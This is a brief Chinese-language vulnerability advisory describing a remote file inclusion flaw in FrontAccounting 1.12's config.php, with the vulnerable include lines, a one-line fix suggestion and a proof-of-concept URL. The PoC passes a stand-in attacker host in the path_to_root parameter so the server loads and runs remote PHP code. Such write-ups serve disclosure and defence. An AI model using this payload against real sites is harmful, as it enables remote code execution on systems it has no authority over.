### 0x01漏洞简介
FrontAccounting 1.12 Build 31的config.php中存在PHP远程文件包含漏洞。远程攻击者可以借助path_to_root参数中的一个URL,执行任意PHP代码。
### 0x02漏洞分析
漏洞代码位于config.php文件中,如下所示:
```
include_once($path_to_root . "/config_db.php");
include_once($path_to_root . "/includes/lang/language.php");
```
参数$path_to_root没有进行正确的处理,导致了文件包含漏洞的产生。
### 0x03漏洞利用
可以利用config.php文件,构建如下的POC验证该RFI漏洞:
```
http://site.com/path/config.php?path_to_root=http://xxx.com/test.php?
```
### 0x04漏洞修复
加强对参数的过滤。
暂无评论